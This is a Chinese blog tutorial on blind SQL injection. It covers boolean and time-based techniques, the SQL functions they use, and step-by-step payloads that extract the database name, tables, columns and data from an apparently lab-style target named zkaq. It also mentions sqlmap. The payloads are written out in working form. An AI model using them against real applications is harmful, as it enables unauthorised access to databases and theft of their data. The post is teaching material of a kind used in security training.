SQL注入:盲注

盲注简介

所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。

盲注分类

1.布尔盲注
布尔很明显Ture和Fales,也就是说它只会根据你的注入信息返回True和Fales,也就没有了之前的报错信息。

2.时间盲注
界面返回值只有一种,True。无论输入和值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注需要掌握的函数

length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

注入步骤

1.猜解数据库名称长度
id=1'and(length(database()))>n

2.猜解数库名称
and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是s

3.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+ 返回正常,说明数据库表名的第一个的第一位是e

4.猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name='zkaq' limit 0,1),1,1)))=102--+ 返回正常,说明zkaq表中的列名称第一位是f

5.猜数据
and (ascii(substr(( select zKaQ from zkaq limit 4,1),1,1)))=122--+返回正常,说明zKaQ列第一位是z

利用工具

sqlmap工具

下载地址:https://github.com/sqlmapproject/sqlmap
下载好后直接解压,并且加入环境变量,就可以直接在cmd调用

也可用kali自带的sqlmap

延时注入方法

and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
该语句表示,如果正确则10s后再加载页面

posted @ 2019-11-18 18:56  软二的小忠晏  阅读(615)  评论(0编辑  收藏  举报